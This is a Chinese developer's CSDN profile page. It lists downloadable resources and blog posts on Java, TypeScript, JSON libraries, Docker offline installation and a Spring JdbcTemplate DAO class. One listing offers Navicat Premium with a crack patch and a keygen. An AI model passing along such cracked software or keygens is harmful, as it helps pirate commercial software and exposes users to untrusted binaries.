jilongliang的专栏

私信 关注
jilongliang
码龄10年
  • 302,098
    被访问量
  • 64
    原创文章
  • 29,599
    作者排名
  • 49
    粉丝数量
  • 于 2010-12-19 加入CSDN
获得成就
  • 获得24次点赞
  • 内容获得33次评论
  • 获得111次收藏
荣誉勋章
TA的专栏
  • DataBase
    1篇
  • Java
    11篇
  • InterView
  • C#
    8篇
  • 生活篇
    2篇
  • JavaScript
    11篇
  • UI
    2篇
  • jQuery
    3篇
  • 计算机
    1篇
  • SVN
    1篇
  • SSH
    3篇
  • Git
    3篇
  • Window
    1篇
  • HTML
    2篇
  • CSS
    2篇
  • ibatis
    1篇
  • Json
    31篇
  • JSOUP
    1篇
  • TypeScript
    11篇
  • Apache
    2篇
  • SpringMVC
    3篇
  • Jdbctemplate
    2篇
  • redis
  • API
    1篇
  • 最近
  • 文章
  • 资源
  • 问答
  • 课程
  • 帖子
  • 收藏
  • 关注/订阅

深入Java JVM内核ppt.zip

深入Java JVM内核ppt,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的
zip
发布资源于 10 月前

springcloud2020第二季源代码和脑图.zip

该项目是跟着尚硅谷周阳的Springcloud2020做出来的,里面涉及传统的 eureka、hystrix、ribbon,更是讲解了最新的 alibaba的 Nacos和sentinel、Seata,相当的给力。 首先在这里感谢阳哥,让我加深了对SpringCLoud的理解,写到吐的案例是真的让我不慌微服务的代码了。 该项目中有我按照视频的内容总结的思维导图,基本和阳哥的那个差不多,同样是mmap格式的。 与视频不同的是,我在思维导图中加入了一些我配置组件遇到的部分问题的解决方案,如果有和我一样,可以参考思维导图。 另外是推荐小伙伴们还是得多看官网的文档,视频只是引路人,很多东西是需
zip
发布资源于 10 月前

jenkins-2.121.2-1.1.noarch.zip

Jenkins 是一个开源自动化服务器... Jenkins是开源CI&CD软件领导者,提供超过1000个插件来支持构建、部署、自动化,满足任何项目的需要 jenkins-2.121.2-1.1.noarch rpm安装文件
zip
发布资源于 2 年前

史上最全的Java面试题.pdf

本文分为十九个模块,分别是:Java 基础 基础、 、 容器、 、 多线程 、 反射、 、 对象拷贝、 、Java Web 、 、 异常、 、 网络、 、 设计模式、 、Spring/Spring MVC、 、Spring Boot/Spring Cloud、 、 Hibernate 、MyBatis 、RabbitMQ 、Kafka 、Zookeeper 、MySQL 、Redis 、JVM
pdf
发布资源于 2 年前

docker离线rpm安装文件.tar.zip

# 1、下载rpm源文件 * rpm下载不了的文件可以到[rpm官方](http://rpm.pbone.net/)进行下载 # 2、执行rpm文件 * 1、以下的rpm文件是有依赖,需要安装顺序进行执行. * 2、执行policycoreutils-python-2.5-29.el7.x86_64.rpm发现报 错误:依赖检测失败: policycoreutils = 2.5-22.el7 被 policycoreutils-python-2.5-22.el7.x86_64 需要 去rpm官方网找了一个`policycoreutils-python-2.5-29.el7_6.1.x86_64.rpm`最新的安装包执行安装 * 3、python-kitchen-1.1.1-5.el7.noarch.rpm可以不需要安装 ``` rpm -ivh libtool-ltdl-2.4.2-22.el7_3.x86_64.rpm rpm -ivh audit-libs-python-2.8.4-4.el7.x86_64.rpm rpm -ivh libcgroup-0.41-20.el7.x86_64.rpm rpm -ivh libsemanage-python-2.5-14.el7.x86_64.rpm rpm -ivh checkpolicy-2.5-8.el7.x86_64.rpm rpm -ivh python-IPy-0.75-6.el7.noarch.rpm rpm -ivh setools-libs-3.3.8-4.el7.x86_64.rpm rpm -ivh policycoreutils-python-2.5-29.el7_6.1.x86_64.rpm rpm -ivh container-selinux-2.74-1.el7.noarch.rpm rpm -ivh libseccomp-2.3.1-3.el7.x86_64.rpm rpm -ivh containerd.io-1.2.0-3.el7.x86_64.rpm rpm -ivh docker-ce-cli-18.09.0-3.el7.x86_64.rpm rpm -ivh docker-ce-18.09.0-3.el7.x86_64.rpm ``` # 3、启动docker ``` systemctl daemon-reload && systemctl restart docker ``` # 4、设置开机启动 * Created symlink from /etc/systemd/system/multi-user.target.wants/docker.service to /usr/lib/systemd/system/docker.service. ``` systemctl enable docker.service ``` # 5、验证docker ``` docker version ``` # 参考文章 * [CentOS 7.5离线安装Docker 18.09.3软件](https://jingyan.baidu.com/article/fb48e8becf31a16e632e145f.html)
zip
发布资源于 2 年前

全国SQL脚本

全国SQL脚本,有表结构,省表,城市表,县区表,乡村表!
zip
发布资源于 4 年前

Navicat Premium

Navicat Premium_11.0.17简体中文X86_X64版+破解补丁+注册机序列号 支持MYSQL ,SQLLITE ,Oracle ,SqlServer 等
zip
发布资源于 4 年前

lucene搜索后,前端HTML页面没有高亮显示

** 问题描述:** 项目是前后端分离,后端Java开发,前端纯HTML显示,查询出结果返回给前端后,前端还是原文输出 ** 前端结果:** ![图片说明](https://img-ask.csdn.net/upload/201708/24/1503547722_808288.png) ** 后端部分代码** /** * 设置关键字高亮 * @param query 查询对象 * @param list 设置高亮的内容列表 * @param fields 字段名 */ public List<T> keyWordsHighLight(BooleanQuery query, List<T> list, String... fields){ Analyzer analyzer = new IKAnalyzer(); /**自定义标注高亮文本标签*/ SimpleHTMLFormatter formatter = new SimpleHTMLFormatter("",""); Highlighter highlighter = new Highlighter(formatter, new QueryScorer(query)); highlighter.setTextFragmenter(new SimpleFragmenter(130)); for(T entity : list){ try { for (String field : fields){ if(ObjectUtil.isNotEmpty(field) && !"tag".equals(field)){ String text = ObjectUtil.replaceHtml((String)Reflections.invokeGetter(entity, field)); String desciption = highlighter.getBestFragment(analyzer,field,text); if(desciption!=null){ Reflections.invokeSetter(entity, fields[0], desciption); break; } Reflections.invokeSetter(entity, fields[0], ObjectUtil.abbr(text, 130)); } } } catch (IOException e) { e.printStackTrace(); } catch (InvalidTokenOffsetsException e) { e.printStackTrace(); } } return list; }
3回答
发布问题于 4 年前

支付宝源码工程

【旧版本】 下载之后解压有【MD5签名版本和RSA签名版本】文件 MD5签名版本 |————create_direct_pay_by_user-CSHARP-GBK |————create_direct_pay_by_user-CSHARP-UTF-8 |————create_direct_pay_by_user-JAVA-GBK |————create_direct_pay_by_user-JAVA-UTF-8 |————create_direct_pay_by_user-PHP-GBK |————create_direct_pay_by_user-PHP-UTF-8 RSA签名版本 |————create_direct_pay_by_user-CSHARP-GBK |————create_direct_pay_by_user-CSHARP-UTF-8 |————create_direct_pay_by_user-JAVA-GBK |————create_direct_pay_by_user-JAVA-UTF-8 |————create_direct_pay_by_user-PHP-GBK |————create_direct_pay_by_user-PHP-UTF-8 【新版本】 支付宝项目工程源码---Alipay-Source 支付宝官方例子工程源码---alipay.trade.page.pay-JAVA-UTF-8
zip
发布资源于 4 年前

单点登录原理与简单实现

首页新随笔联系管理单点登录原理与简单实现一、单系统登录机制1、http无状态协议  web应用采用browser/server架构,http作为通信协议。http是无状态协议,浏览器的每一次请求,服务器会独立处理,不与之前或之后的请求产生关联,这个过程用下图说明,三次请求/响应对之间没有任何联系  但这也同时意味着,任何用
转载
1009阅读
0评论
0点赞
发布博客于 4 年前

Swagger+Spring mvc生成Restful接口文档

简介Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。文件的方法,参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。Swagger 让部署管理和使用功能强大的API从未如此简单。这一次我将从零开始搭建一个工程来演示如何在Spring mvc中整合Swagger生成
转载
1091阅读
0评论
0点赞
发布博客于 4 年前

最实际与高效生成数据库高级声明式SQL脚本神器研发

一、简介1.1前言 1、由于最近工作一直用Oracle,故对Oracle数据库研究为对象。 2、根据工作业务需求实际情况进行功能研发。为什么要开发呢?因为在数据库升级或者迁移的时候,为了保证不同环境不同数据库数据保持同步,故数据库SQL脚本非常作用。比如:数据库主脚本,副脚本,增量脚本。3、 什么是主脚本、副脚本、增量脚本呢?3.1、主脚本指数据库表或存储过程,视图脚本,序列等脚本。3.2、副脚本指必须执行主脚本之后才执行的脚本。换句话说在没执行主键脚本的情况下,副脚
原创
1844阅读
0评论
0点赞
发布博客于 4 年前

axis2调用WCF

axis2调用WCF,包含client、service, java包含对应的的jar包。 activation-1.1.jar antlr-2.7.7.jar axiom-api-1.2.12.jar axiom-dom-1.2.12.jar axiom-impl-1.2.12.jar axis2-adb-1.6.1.jar axis2-adb-codegen-1.6.1.jar axis2-ant-plugin-1.6.1.jar axis2-clustering-1.6.1.jar axis2-codegen-1.6.1.jar axis2-corba-1.6.1.jar axis2-fastinfoset-1.6.1.jar axis2-java2wsdl-1.6.1.jar axis2-jaxbri-1.6.1.jar axis2-jaxws-1.6.1.jar axis2-jibx-1.6.1.jar axis2-json-1.6.1.jar axis2-kernel-1.6.1.jar axis2-metadata-1.6.1.jar axis2-mtompolicy-1.6.1.jar axis2-saaj-1.6.1.jar axis2-soapmonitor-servlet-1.6.1.jar axis2-spring-1.6.1.jar axis2-transport-http-1.6.1.jar axis2-transport-local-1.6.1.jar axis2-xmlbeans-1.6.1.jar bcel-5.1.jar commons-cli-1.2.jar commons-codec-1.3.jar commons-fileupload-1.2.jar commons-httpclient-3.1.jar commons-io-1.4.jar commons-logging-1.1.1.jar geronimo-annotation_1.0_spec-1.1.jar geronimo-jaxws_2.2_spec-1.0.jar geronimo-jta_1.1_spec-1.1.jar geronimo-saaj_1.3_spec-1.0.1.jar geronimo-stax-api_1.0_spec-1.0.1.jar geronimo-ws-metadata_2.0_spec-1.1.2.jar httpcore-4.0.jar jalopy-1.5rc3.jar jaxb-api-2.1.jar jaxb-impl-2.1.7.jar jaxb-xjc-2.1.7.jar jaxen-1.1.1.jar jaxws-tools-2.1.3.jar jettison-1.0-RC2.jar jibx-bind-1.2.jar jibx-run-1.2.jar jsr311-api-1.0.jar juli-6.0.16.jar log4j-1.2.15.jar mail-1.4.jar mex-1.6.1-impl.jar neethi-3.0.1.jar regexp-1.2.jar tribes-6.0.16.jar woden-api-1.0M9.jar woden-impl-commons-1.0M9.jar woden-impl-dom-1.0M9.jar wsdl4j-1.6.2.jar wstx-asl-3.2.9.jar xalan-2.7.0.jar xmlbeans-2.3.0.jar xml-resolver-1.2.jar XmlSchema-1.4.7.jar
rar
发布资源于 4 年前

git egit 如何 revert恢复原来代码

egit中没有revert选项,因为在git术语中revert代表了再提交一次回退之前的提交(revert in git lingo means create a new commit to revert an earliercommit.)整个项目reset (svn revert)git 中把提交前回退叫做 reset,参照http://stackoverflow.com/qu
转载
32489阅读
0评论
3点赞
发布博客于 5 年前

C#的NHibernate的CRUD开发入门代码例子

本文档适合初级开发者或者是第一次接触NHibernate框架的朋友,其中NHibernate不是最新的版本,但是一个比较经典的版本 NHibernate 2.1.2,其中用红线标注的部分一定要仔细看,这些都是容易忽略和出错的地方,笔者在此给大家做了特殊标记。NHibernate框架的介绍:http://baike.baidu.com/view/954535.htm开发环境 Vs 2
原创
1069阅读
0评论
0点赞
发布博客于 6 年前

Asp.Net+ EntityFramework+MVC

Model实体类using System;using System.Collections.Generic;using System.Linq;using System.Web;using System.ComponentModel.DataAnnotations;using System.ComponentModel;namespace UI.Models{ ///
原创
740阅读
0评论
0点赞
发布博客于 6 年前

开发API集

开发API集http://pan.baidu.com/s/1o6S1fOQ
原创
357阅读
0评论
0点赞
发布博客于 6 年前

Redis搭建入门详解文档

2.1Redis准备工作 1)官方 http://redis.io2.2Redis下载 github下载 https://github.com/MSOpenTech/redis/releases Downloads 6.4 MBRedis-x64-3.0.500.msi 5.58 MBRedis-x64-3.0.500.zip Source code (zip) S
原创
797阅读
0评论
0点赞
发布博客于 6 年前

实现Entity,Dao,Service,Controller,JSP代码生成神器

http://jilongliang.iteye.com/blog/2262070
原创
7739阅读
3评论
2点赞
发布博客于 6 年前

SpringMVC jdbctemplate实现底层架构封装

来源:http://www.oschina.net/code/snippet_1245103_33821
转载
5571阅读
1评论
1点赞
发布博客于 6 年前

springmvc-jdbcTemplate

package com.flong.commons.persistence.dao.impl; import java.util.ArrayList; import java.util.List; import java.util.Map; import org.apache.commons.collections.CollectionUtils; import org.apache.log4j.Logger; import org.springframework.beans.factory.InitializingBean; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; import com.flong.commons.lang.exception.DaoAccessException; import com.flong.commons.persistence.Entity; import com.flong.commons.persistence.bean.DataStore; import com.flong.commons.persistence.bean.PagingParameter; import com.flong.commons.persistence.builder.PagingSqlBuilder; import com.flong.commons.persistence.builder.SimpleSqlBuilder; import com.flong.commons.persistence.condition.Condition; import com.flong.commons.persistence.dao.BaseDao; import com.flong.commons.persistence.interfaces.ISQLQuery; import com.flong.commons.persistence.interfaces.MapRowMapper; import com.mchange.v2.c3p0.ComboPooledDataSource; /** * 数据查询DAO支持类 * * 创建日期:2012-9-26 * @author wangk */ public abstract class BaseDaoSupport implements BaseDao, InitializingBean { /** 日志对象 */ private static final Logger logger = Logger.getLogger(BaseDaoSupport.class); /** 实现类日志对象 */ protected final Logger log = Logger.getLogger(getClass()); @Autowired protected ISQLQuery iSQLQuery; /** JDBC模版对象 */ @Autowired protected JdbcTemplate jdbcTemplate; /** SQL语句参数带名称的JDBC模版对象 */ protected NamedParameterJdbcTemplate namedParameterJdbcTemplate; /** 分页SQL语句创建对象 */ protected PagingSqlBuilder pagingSqlBuilder; /** * 获得JDBC模版对象 * * @return * 创建日期:2012-9-25 * 修改说明: * @author wangk */ public JdbcTemplate getJdbcTemplate() { return jdbcTemplate; } /** * 获得SQL语句参数带名称的JDBC模版对象 * * @return * 创建日期:2012-12-19 * 修改说明: * @author wangk */ public NamedParameterJdbcTemplate getNamedParameterJdbcTemplate() { return namedParameterJdbcTemplate; } /** * 获得分页SQL语句创建对象 * * @return * 创建日期:2012-10-8 * 修改说明: * @author wangk */ public PagingSqlBuilder getPagingSqlBuilder() { return pagingSqlBuilder; } /** * 初始化非注入的属性 * * @see org.springframework.beans.factory.InitializingBean#afterPropertiesSet() * 创建日期:2012-12-19 * 修改说明: * @author wangk */ @Override public void afterPropertiesSet() throws Exception { //初始化namedParameterJdbcTemplate namedParameterJdbcTemplate = new NamedParameterJdbcTemplate(jdbcTemplate.getDataSource()); //初始化pagingSqlBuilder pagingSqlBuilder = new PagingSqlBuilder(((ComboPooledDataSource) jdbcTemplate.getDataSource()).getJdbcUrl().replaceAll("://.*$", "")); } @Override public List<Map<String, Object>> search(String sql, Object... params) throws DaoAccessException { try { logger.debug(sql); return jdbcTemplate.queryForList(sql, params); } catch (Exception e) { throw new DaoAccessException(e); } } @Override public List<Map<String, Object>> search(String sql, List<Object> params) throws DaoAccessException { return search(sql, params.toArray()); } @Override public List<Map<String, Object>> search(String sql, Map<String, Object> params) throws DaoAccessException { try { logger.debug(sql); return namedParameterJdbcTemplate.queryForList(sql, params); } catch (Exception e) { throw new DaoAccessException(e); } } @Override public <R> List<R> search(String sql, MapRowMapper<R> mapRowMapper, Object... params) throws DaoAccessException { List<Map<String, Object>> list = search(sql, params); if(list == null) { return null; } List<R> ret = new ArrayList<R>(); for (int i = 0; i < list.size(); i++) { ret.add(mapRowMapper.mapRow(list.get(i), i)); } return ret; } @Override public <R> List<R> search(String sql, MapRowMapper<R> mapRowMapper, List<Object> params) throws DaoAccessException { return search(sql, mapRowMapper, params.toArray()); } @Override public <R> List<R> search(String sql, MapRowMapper<R> mapRowMapper, Map<String, Object> params) throws DaoAccessException { List<Map<String, Object>> list = search(sql, params); if(list == null) { return null; } List<R> ret = new ArrayList<R>(); for (int i = 0; i < list.size(); i++) { ret.add(mapRowMapper.mapRow(list.get(i), i)); } return ret; } @Override public DataStore<Map<String, Object>> search(String sql, PagingParameter paging, Object... params) throws DaoAccessException { try { PagingSqlBuilder pagingSqlBuilder = getPagingSqlBuilder(); int records = jdbcTemplate.queryForInt(pagingSqlBuilder.getCountSql(sql), params); if(records < 0) { return null; } if(records == 0) { return new DataStore<Map<String, Object>>(records, new ArrayList<Map<String, Object>>()); } return new DataStore<Map<String, Object>>(records, search(pagingSqlBuilder.getPagingSql(sql, paging), params)); } catch (Exception e) { throw new DaoAccessException(e); } } @Override public DataStore<Map<String, Object>> search(String sql, PagingParameter paging, List<Object> params) throws DaoAccessException { return search(sql, paging, params.toArray()); } @Override public DataStore<Map<String, Object>> search(String sql, PagingParameter paging, Map<String, Object> params) throws DaoAccessException { try { PagingSqlBuilder pagingSqlBuilder = getPagingSqlBuilder(); int records = namedParameterJdbcTemplate.queryForInt(pagingSqlBuilder.getCountSql(sql), params); if(records < 0) { return null; } if(records == 0) { return new DataStore<Map<String, Object>>(records, new ArrayList<Map<String, Object>>()); } return new DataStore<Map<String, Object>>(records, search(pagingSqlBuilder.getPagingSql(sql, paging), params)); } catch (Exception e) { throw new DaoAccessException(e); } } @Override public <R> DataStore<R> search(String sql, MapRowMapper<R> mapRowMapper, PagingParameter paging, Object... params) throws DaoAccessException { DataStore<Map<String, Object>> dataStore = search(sql, paging, params); if(dataStore == null) { return null; } if(dataStore.getDatas() == null) { return new DataStore<R>(dataStore.getRecords(), null); } List<R> list = new ArrayList<R>(); for (int i = 0; i < dataStore.getDatas().size(); i++) { list.add(mapRowMapper.mapRow(dataStore.getDatas().get(i), i)); } return new DataStore<R>(dataStore.getRecords(), list); } @Override public <R> DataStore<R> search(String sql, MapRowMapper<R> mapRowMapper, PagingParameter paging, List<Object> params) throws DaoAccessException { return search(sql, mapRowMapper, paging, params.toArray()); } @Override public <R> DataStore<R> search(String sql, MapRowMapper<R> mapRowMapper, PagingParameter paging, Map<String, Object> params) throws DaoAccessException { DataStore<Map<String, Object>> dataStore = search(sql, paging, params); if(dataStore == null) { return null; } if(dataStore.getDatas() == null) { return new DataStore<R>(dataStore.getRecords(), null); } List<R> list = new ArrayList<R>(); for (int i = 0; i < dataStore.getDatas().size(); i++) { list.add(mapRowMapper.mapRow(dataStore.getDatas().get(i), i)); } return new DataStore<R>(dataStore.getRecords(), list); } @Override public List<Map<String, Object>> join(Condition condition, Class<?>... classLink) throws DaoAccessException { String orders = null; return join(condition, orders, classLink); } @Override public List<Map<String, Object>> join(Condition condition, String orders, Class<?>... classLink) throws DaoAccessException { String sql = buildJoinSql(condition, orders, classLink); List<Map<String, Object>> result = null; if(condition == null) { result = search(sql); } else { result = search(sql, condition.getParameters()); } convertJoinResult(result, classLink); return result; } @Override public <R> List<R> join(Condition condition, MapRowMapper<R> mapRowMapper, Class<?>... classLink) throws DaoAccessException { return join(condition, null, mapRowMapper, classLink); } @Override public <R> List<R> join(Condition condition, String orders, MapRowMapper<R> mapRowMapper, Class<?>... classLink) throws DaoAccessException { List<Map<String, Object>> list = join(condition, orders, classLink); if(list == null) { return null; } List<R> ret = new ArrayList<R>(); for (int i = 0; i < list.size(); i++) { ret.add(mapRowMapper.mapRow(list.get(i), i)); } return ret; } @Override public DataStore<Map<String, Object>> join(Condition condition, PagingParameter paging, Class<?>... classLink) throws DaoAccessException { String orders = null; return join(condition, orders , paging, classLink); } @Override public DataStore<Map<String, Object>> join(Condition condition, String orders, PagingParameter paging, Class<?>... classLink) throws DaoAccessException { PagingSqlBuilder pagingSqlBuilder = getPagingSqlBuilder(); String sql = buildJoinSql(condition, orders, classLink); Object[] params = new Object[0]; if(condition != null) { params = condition.getParameters(); } int records = 0; try { records = jdbcTemplate.queryForInt(pagingSqlBuilder.getCountSql(sql), params); } catch (Exception e) { throw new DaoAccessException(e); } if(records < 0) { return null; } if(records == 0) { return new DataStore<Map<String, Object>>(records, new ArrayList<Map<String, Object>>()); } List<Map<String, Object>> datas = null; datas = search(pagingSqlBuilder.getPagingSql(sql, paging), params); convertJoinResult(datas, classLink); return new DataStore<Map<String, Object>>(records, datas); } @Override public <R> DataStore<R> join(Condition condition, MapRowMapper<R> mapRowMapper, PagingParameter paging, Class<?>... classLink) throws DaoAccessException { return join(condition, null, mapRowMapper, paging, classLink); } @Override public <R> DataStore<R> join(Condition condition, String orders, MapRowMapper<R> mapRowMapper, PagingParameter paging, Class<?>... classLink) throws DaoAccessException { DataStore<Map<String, Object>> dataStore = join(condition, orders, paging, classLink); if(dataStore == null) { return null; } if(dataStore.getDatas() == null) { return new DataStore<R>(dataStore.getRecords(), null); } List<R> list = new ArrayList<R>(); for (int i = 0; i < dataStore.getDatas().size(); i++) { list.add(mapRowMapper.mapRow(dataStore.getDatas().get(i), i)); } return new DataStore<R>(dataStore.getRecords(), list); } /** * 构建(内)连接SQL语句 * * @param condition * @param orders * @param classLink * @return * 创建日期:2012-10-19 * 修改说明: * @author wangk */ @SuppressWarnings({ "rawtypes", "unchecked" }) private String buildJoinSql(Condition condition, String orders, Class<?>... classLink) throws DaoAccessException { try { StringBuilder sb1 = new StringBuilder(); StringBuilder sb2 = new StringBuilder(); for (int i = 0;i < classLink.length;i++) { Class<? extends Entity> clazz = (Class<? extends Entity>)classLink[i]; SimpleSqlBuilder<? extends Entity> sqlBuilder1 = new SimpleSqlBuilder(clazz); String tableName1 = sqlBuilder1.getTableName(); Map<String, String> fieldColumnMapping1 = sqlBuilder1.getFieldColumnMapping(); for (String field : sqlBuilder1.getFieldColumnMapping().keySet()) { sb1.append(tableName1 + "." + fieldColumnMapping1.get(field) + " AS " + tableName1 + "_" + fieldColumnMapping1.get(field) + ", "); } if(i == classLink.length - 1) { break; } Class<? extends Entity> rClass = (Class<? extends Entity>)classLink[i+1]; SimpleSqlBuilder<? extends Entity> sqlBuilder2 = new SimpleSqlBuilder(rClass); String tableName2 = sqlBuilder2.getTableName(); if(i == 0) { sb2.append(tableName1); } sb2.append(" JOIN " + tableName2 + " ON " + tableName1 + "." + fieldColumnMapping1.get(sqlBuilder1.getReferenceField(rClass)) + " = " + tableName2 + "." + sqlBuilder1.getReferencedColumn(rClass)); } sb1.delete(sb1.length() - 2, sb1.length()); String sql = "SELECT " + sb1 + " FROM " + sb2; if(condition != null) { sql += " WHERE " + condition.toSqlString(); } if(orders != null) { sql += " ORDER BY " + orders; } logger.debug(sql); return sql; } catch (Exception e) { throw new DaoAccessException(e); } } /** * 转换连接查询结果,Map对象的key值为:对象名.属性名 * * @param result * @param classLink * 创建日期:2012-10-19 * 修改说明: * @author wangk */ private void convertJoinResult(List<Map<String, Object>> result, Class<?>... classLink) throws DaoAccessException { if(CollectionUtils.isEmpty(result)) { return; } for (Map<String, Object> map : result) { try { for (Class<?> clazz : classLink) { @SuppressWarnings({ "rawtypes", "unchecked" }) SimpleSqlBuilder<? extends Entity> sqlBuilder = new SimpleSqlBuilder(clazz); String tableName = sqlBuilder.getTableName(); Map<String, String> fieldColumnMapping = sqlBuilder.getFieldColumnMapping(); String className = clazz.getSimpleName(); String variableName = className.substring(0, 1).toLowerCase() + className.substring(1); for (String field : fieldColumnMapping.keySet()) { map.put(variableName + "." + field, map.remove(tableName + "_" + fieldColumnMapping.get(field))); } } } catch (Exception e) { throw new DaoAccessException(e); } } } }
zip
发布资源于 6 年前

Window与Linux下搭建SolrCloud分布式集群环境

Window与Linux下搭建SolrCloud分布式集群环境 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果 Solr是一个高性能,采用Java5开发, Solr 基于Lucene的全文搜索服务器。同时对其进行了扩展,提供了比Lucene更为丰富的查询语言,同时实现了可配置、可扩展并对查询性能进行了优化,并且提供了一个完善的功能管理界面,是一款非常优秀的全文搜索引擎。
pdf
发布资源于 6 年前

最全TypeScript中文入门指南详解案例教程

1、详细安装文章请看 http://blog.csdn.net/jilongliang/article/details/21942911 2、TypeScript官方手册 http://www.typescriptlang.org/Handbook 3、TypeScript官方例子 https://github.com/Microsoft/TypeScriptSamples http://typescript.codeplex.com/ 4、注意TypeScript的ts文件会多处有红色的XX,并不代表它有错误,如果是Myeclipse的话可以在 My
zip
发布资源于 6 年前

【第11篇】最全的中文TypeScript入门指南详解案例教程与代码

最全的中文TypeScript入门指南详解案例教程与代码
原创
12142阅读
2评论
4点赞
发布博客于 6 年前

【第10篇】TypeScript类型比较《Type Compatibility》 案例代码详解

TypeScript类型比较《Type Compatibility》 案例代码详解
原创
962阅读
0评论
0点赞
发布博客于 6 年前

【第9篇】TypeScript声明合并Merging 案例代码详解

TypeScript声明合并Merging 案例代码详解
原创
2491阅读
0评论
0点赞
发布博客于 6 年前

【第8篇】TypeScript的Mixin案例代码详解

TypeScript的Mixin案例代码详解
原创
1714阅读
2评论
0点赞
发布博客于 6 年前

【第7篇】TypeScript泛型的案例代码详解

TypeScript泛型的案例代码详解
原创
7750阅读
0评论
0点赞
发布博客于 6 年前

【第6篇】TypeScript函数function的案例代码详解

TypeScript函数function的案例代码详解
原创
6895阅读
4评论
0点赞
发布博客于 6 年前

【第5篇】TypeScript块module的案例代码详解

Typescript块module的详解
原创
5808阅读
1评论
0点赞
发布博客于 6 年前

【第4篇】TypeScript类的详解案例代码使用。

TypeScript类的详解。
原创
4073阅读
1评论
0点赞
发布博客于 6 年前

【第3篇】TypeScript接口使用

TypeScript接口在编程
原创
4720阅读
1评论
0点赞
发布博客于 6 年前

【第2篇】TypeScript - 基本类型详解

TypeScript - 基本类型
原创
8207阅读
2评论
0点赞
发布博客于 6 年前

指定Eclipse的Servers的路径到tomcat的webapps项目

指定Eclipse的Servers的路径到tomcat的webapps项目
原创
1870阅读
1评论
0点赞
发布博客于 6 年前

jQuyer模拟在线考试做题

jQuyer模拟在线考试做题
原创
1316阅读
1评论
0点赞
发布博客于 6 年前

JavaScript和CSS实现详情图片显示大图特效

JavaScript和CSS实现详情图片显示大图特效
原创
1320阅读
1评论
1点赞
发布博客于 6 年前

【第29篇】通过HttpClient+Gson解析中国天气网的天气预报信息

通过HttpClient+Gson解析中国天气网的天气预报信息
原创
1114阅读
1评论
0点赞
发布博客于 6 年前

【第28篇】通过Gson和FastJson格式化Json数据

通过Gson和FastJson格式化Json数据
原创
3665阅读
1评论
0点赞
发布博客于 6 年前

【第27篇】JackJson的ObjectMapper封装

package ivyy.taobao.com.utils;import java.io.IOException;import java.util.List;import java.util.Map;import org.apache.commons.lang.StringUtils;import org.apache.commons.logging.Log;import org.
转载
3910阅读
2评论
1点赞
发布博客于 6 年前

【第26篇】通过Gson解析微信自定义菜单多个Button的数组数据

通过Gson解析微信自定义菜单多个Button的数组数据
原创
649阅读
0评论
0点赞
发布博客于 6 年前

【第25篇】通过org.json结合HttpClient解析的百度API附近的银行地方信息

通过org.json结合HttpClient解析的百度API附近的银行地方信息
原创
857阅读
0评论
0点赞
发布博客于 6 年前

【第24篇】通过JackJson的JsonMapper的fromJson对象化

通过JackJson的JsonMapper的fromJson对象化
原创
6824阅读
0评论
0点赞
发布博客于 6 年前

【第23篇】用Map组装Json通过JackJson处理解析json数据

用Map组装Json通过JackJson处理解析json数据
原创
1833阅读
0评论
0点赞
发布博客于 6 年前

【第22篇】通过JackJson去读取Json数组数据

通过JackJson去读取Json数组数据
原创
1990阅读
0评论
0点赞
发布博客于 6 年前

【第21篇】通过Gson去把字符串转成json,对象转成Json,数组转换成Json处理Json数据

通过Gson去把字符串转成json,对象转成Json,数组转换成Json处理Json数据
原创
3485阅读
0评论
0点赞
发布博客于 6 年前

【第20篇】org.json字符串转换,对象的转换,泛型的转换以及JSONStringer和JSONTokener的使用

org.json字符串转换,对象的转换,泛型的转换以及JSONStringer和JSONTokener的使用
原创
10660阅读
1评论
0点赞
发布博客于 6 年前

【第19篇】org.json前篇简单的JSONObject使用

org.json前篇简单的JSONObject使用
原创
1232阅读
0评论
0点赞
发布博客于 6 年前

【第18篇】通过fastjson的JSON对象类处理json数组数据

通过fastjson的JSON对象类处理json数组数据
原创
1917阅读
1评论
1点赞
发布博客于 6 年前

【第17篇】通过fastjson去操作对象数据并处理json数据

通过fastjson去操作对象数据并处理json数据
原创
2097阅读
1评论
0点赞
发布博客于 6 年前

【第16篇】通过fastjson去解析json数组数据

通过fastjson去解析json数组数据
原创
9104阅读
0评论
1点赞
发布博客于 6 年前

【第15篇】通过FastJson把字符串转换成JSON和Map和List对象处理json数据

通过FastJson把字符串转换成JSON和Map和List对象处理json数据
原创
28233阅读
1评论
7点赞
发布博客于 6 年前

【第14篇】通过GSON的JsonReader去读取数据处理json数据

通过GSON的JsonReader去读取数据处理json数据
原创
6310阅读
0评论
1点赞
发布博客于 6 年前

【第13篇】通过GSON的JsonParser去读取数据处理json数据

通过GSON的JsonParser去读取数据处理json数据
原创
4693阅读
0评论
0点赞
发布博客于 6 年前

【第12篇】通过GSON的WriterReader与JsonReader去处理json数据

通过GSON的WriterReader与JsonReader去处理json数据
原创
1554阅读
1评论
0点赞
发布博客于 6 年前

【第11篇】通过GSON的TreeReader与JsonReader去处理json数据

通过GSON的TreeReader与JsonReader去处理json数据
原创
878阅读
0评论
0点赞
发布博客于 6 年前

【第10篇】通过json-lib的JsonConfig去读取对象数据json

通过json-lib的JsonConfig去读取对象数据json
原创
793阅读
0评论
0点赞
发布博客于 6 年前

【第9篇】通过json-lib去封装的JSON和JAVA的POJO的相互转换JSONHelper.java

package ivyy.taobao.com.utils;import java.io.IOException;import java.util.ArrayList;import java.util.HashMap;import java.util.Iterator;import java.util.List;import java.util.Map;import net.sf
转载
2067阅读
0评论
0点赞
发布博客于 6 年前

【第8篇】使用json-lib的解析和封装json例子使用

使用json-lib的解析和封装json例子使用
原创
2199阅读
0评论
0点赞
发布博客于 6 年前

【第7篇】通过json-lib去读取百度api地图的地方信息

通过json-lib去读取百度api地图的地方信息
原创
1243阅读
0评论
0点赞
发布博客于 6 年前

【第6篇】使用Json-lib的XMLSerializer的write和reader操作json数据和xml

使用Json-lib的XMLSerializer的write和reader操作json数据和xml
原创
2586阅读
0评论
0点赞
